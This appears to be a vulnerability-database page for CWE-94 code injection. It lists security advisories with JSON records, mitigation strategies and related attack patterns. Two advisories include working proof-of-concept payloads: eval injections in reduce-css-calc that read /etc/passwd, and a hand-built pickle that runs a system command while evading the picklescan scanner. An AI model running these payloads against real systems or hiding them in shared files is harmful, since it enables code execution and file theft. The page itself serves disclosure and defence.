Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8381 vulnerabilities reference this CWE, most recent first.

GHSA-463R-M79G-7HV3

Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39
VLAI
Details

PHP remote file inclusion vulnerability in hu/modules/reg-new/modstart.php in Sofi WebGui 0.6.3 PRE and earlier allows remote attackers to execute arbitrary PHP code via a URL in the mod_dir parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-6402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-03-06T11:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in hu/modules/reg-new/modstart.php in Sofi WebGui 0.6.3 PRE and earlier allows remote attackers to execute arbitrary PHP code via a URL in the mod_dir parameter.",
  "id": "GHSA-463r-m79g-7hv3",
  "modified": "2022-05-17T00:39:55Z",
  "published": "2022-05-17T00:39:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6402"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45380"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6539"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-465V-95QW-94V6

Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44
VLAI
Details

Multiple direct static code injection vulnerabilities in RunCMS before 1.6.1 allow remote authenticated administrators to inject arbitrary PHP code via the (1) header and (2) footer parameters to modules/system/admin.php in a meta-generator action, (3) the disclaimer parameter to modules/system/admin.php in a disclaimer action, (4) the disclaimer parameter to modules/mydownloads/admin/index.php in a mydownloadsConfigAdmin action, (5) the disclaimer parameter to modules/newbb_plus/admin/forum_config.php, (6) the disclaimer parameter to modules/mylinks/admin/index.php in a myLinksConfigAdmin action, or (7) the intro parameter to modules/sections/admin/index.php in a secconfig action, which inject PHP sequences into (a) sections/cache/intro.php, (b) mylinks/cache/disclaimer.php, (c) mydownloads/cache/disclaimer.php, (d) newbb_plus/cache/disclaimer.php, (e) system/cache/disclaimer.php, (f) system/cache/footer.php, (g) system/cache/header.php, or (h) system/cache/maintenance.php in modules/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-28T00:46:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple direct static code injection vulnerabilities in RunCMS before 1.6.1 allow remote authenticated administrators to inject arbitrary PHP code via the (1) header and (2) footer parameters to modules/system/admin.php in a meta-generator action, (3) the disclaimer parameter to modules/system/admin.php in a disclaimer action, (4) the disclaimer parameter to modules/mydownloads/admin/index.php in a mydownloadsConfigAdmin action, (5) the disclaimer parameter to modules/newbb_plus/admin/forum_config.php, (6) the disclaimer parameter to modules/mylinks/admin/index.php in a myLinksConfigAdmin action, or (7) the intro parameter to modules/sections/admin/index.php in a secconfig action, which inject PHP sequences into (a) sections/cache/intro.php, (b) mylinks/cache/disclaimer.php, (c) mydownloads/cache/disclaimer.php, (d) newbb_plus/cache/disclaimer.php, (e) system/cache/disclaimer.php, (f) system/cache/footer.php, (g) system/cache/header.php, or (h) system/cache/maintenance.php in modules/.",
  "id": "GHSA-465v-95qw-94v6",
  "modified": "2022-05-01T18:44:04Z",
  "published": "2022-05-01T18:44:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6548"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4790"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41247"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41248"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41249"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41250"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41251"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3493"
    },
    {
      "type": "WEB",
      "url": "http://www.runcms.org/modules/mydownloads/singlefile.php?lid=131"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/485512/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27019"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4662-J96G-MV46

Vulnerability from github – Published: 2018-06-07 19:43 – Updated: 2020-08-31 18:12
VLAI
Summary
Arbitrary Code Injection in reduce-css-calc
Details

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "reduce-css-calc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:57:38Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require(\u0027reduce-css-calc\u0027);\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global[\u0027fs\u0027] = require(\u0027fs\u0027)))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs[\u0027readFileSync\u0027](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.",
  "id": "GHSA-4662-j96g-mv46",
  "modified": "2020-08-31T18:12:20Z",
  "published": "2018-06-07T19:43:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10548"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4662-j96g-mv46"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/144"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Arbitrary Code Injection in reduce-css-calc"
}

GHSA-466P-JWWQ-GCJC

Vulnerability from github – Published: 2022-05-01 07:21 – Updated: 2022-05-01 07:21
VLAI
Details

Unspecified vulnerability in the Server service in Microsoft Windows 2000 SP4, Server 2003 SP1 and earlier, and XP SP2 and earlier allows remote attackers to execute arbitrary code via a crafted packet, aka "SMB Rename Vulnerability."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2006-4696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-10T22:07:00Z",
    "severity": "HIGH"
  },
  "details": "Unspecified vulnerability in the Server service in Microsoft Windows 2000 SP4, Server 2003 SP1 and earlier, and XP SP2 and earlier allows remote attackers to execute arbitrary code via a crafted packet, aka \"SMB Rename Vulnerability.\"",
  "id": "GHSA-466p-jwwq-gcjc",
  "modified": "2022-05-01T07:21:11Z",
  "published": "2022-05-01T07:21:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4696"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-063"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29373"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1017035"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/820628"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/449179/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20373"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/3982"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46C5-27QX-2W2F

Vulnerability from github – Published: 2022-05-01 18:35 – Updated: 2022-05-01 18:35
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in PHP Image 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the xarg parameter to (1) xarg_corner.php, (2) xarg_corner_bottom.php, and (3) xarg_corner_top.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-5697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-29T21:46:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in PHP Image 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the xarg parameter to (1) xarg_corner.php, (2) xarg_corner_bottom.php, and (3) xarg_corner_top.php.",
  "id": "GHSA-46c5-27qx-2w2f",
  "modified": "2022-05-01T18:35:53Z",
  "published": "2022-05-01T18:35:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5697"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4565"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/40742"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/40743"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/40744"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26187"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46F2-W34R-PQJ8

Vulnerability from github – Published: 2022-05-02 00:09 – Updated: 2022-05-02 00:09
VLAI
Details

Unspecified vulnerability in the Simba MDrmSap ActiveX control in mdrmsap.dll in SAP SAPgui allows remote attackers to execute arbitrary code via unknown vectors involving instantiation by Internet Explorer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-4387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-10T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unspecified vulnerability in the Simba MDrmSap ActiveX control in mdrmsap.dll in SAP SAPgui allows remote attackers to execute arbitrary code via unknown vectors involving instantiation by Internet Explorer.",
  "id": "GHSA-46f2-w34r-pqj8",
  "modified": "2022-05-02T00:09:38Z",
  "published": "2022-05-02T00:09:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4387"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46440"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/49721"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/277313"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32186"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/3106"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46F8-5FQ9-8HMQ

Vulnerability from github – Published: 2022-05-01 02:21 – Updated: 2022-05-01 02:21
VLAI
Details

PHP remote file inclusion vulnerability in q-news.php in Q-News 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the id parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2005-3859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-11-29T11:03:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in q-news.php in Q-News 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the id parameter.",
  "id": "GHSA-46f8-5fq9-8hmq",
  "modified": "2022-05-01T02:21:50Z",
  "published": "2022-05-01T02:21:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3859"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/17771"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/209"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015277"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/417797/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/15576"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2005/2600"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-46H3-79WF-XR6C

Vulnerability from github – Published: 2025-12-30 15:24 – Updated: 2025-12-30 15:24
VLAI
Summary
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
Details

Summary

Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
  • Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

PoC

import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:24:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.\n- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn\u0027t detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode3 = b\u0027\u0027\u0027cbuiltins\n__import__\n(Vos\ntRp0\n0c_operator\nattrgetter\n(Vsystem\ntR(g0\ntR(Vecho \"pwned by _operator.attrgetter\"\ntR.\u0027\u0027\u0027\npickletools.dis(opcode3)\npickle.loads(opcode3)\n```\nThis PoC can\u0027t be easily create by pickle.dumps, so it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).",
  "id": "GHSA-46h3-79wf-xr6c",
  "modified": "2025-12-30T15:24:00Z",
  "published": "2025-12-30T15:24:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter"
}

GHSA-46J6-CP62-X453

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2025-08-29 00:31
VLAI
Details

, aka 'Microsoft Dynamics 365 for Finance and Operations (on-premises) Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-17158.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-17152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-10T00:15:00Z",
    "severity": "HIGH"
  },
  "details": ", aka \u0027Microsoft Dynamics 365 for Finance and Operations (on-premises) Remote Code Execution Vulnerability\u0027. This CVE ID is unique from CVE-2020-17158.",
  "id": "GHSA-46j6-cp62-x453",
  "modified": "2025-08-29T00:31:13Z",
  "published": "2022-05-24T17:35:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17152"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17152"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-17152"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-46J9-Q72C-3W95

Vulnerability from github – Published: 2023-10-21 09:30 – Updated: 2024-04-04 08:52
VLAI
Details

An issue in ThingNario Photon v.1.0 allows a remote attacker to execute arbitrary code and escalate privileges via a crafted script to the ping function to the "thingnario Logger Maintenance Webpage" endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-21T07:15:07Z",
    "severity": "HIGH"
  },
  "details": "An issue in ThingNario Photon v.1.0 allows a remote attacker to execute arbitrary code and escalate privileges via a crafted script to the ping function to the \"thingnario Logger Maintenance Webpage\" endpoint.",
  "id": "GHSA-46j9-q72c-3w95",
  "modified": "2024-04-04T08:52:14Z",
  "published": "2023-10-21T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46055"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/GroundCTL2MajorTom/eef0d55f5df77cc911d84392acdbf625"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.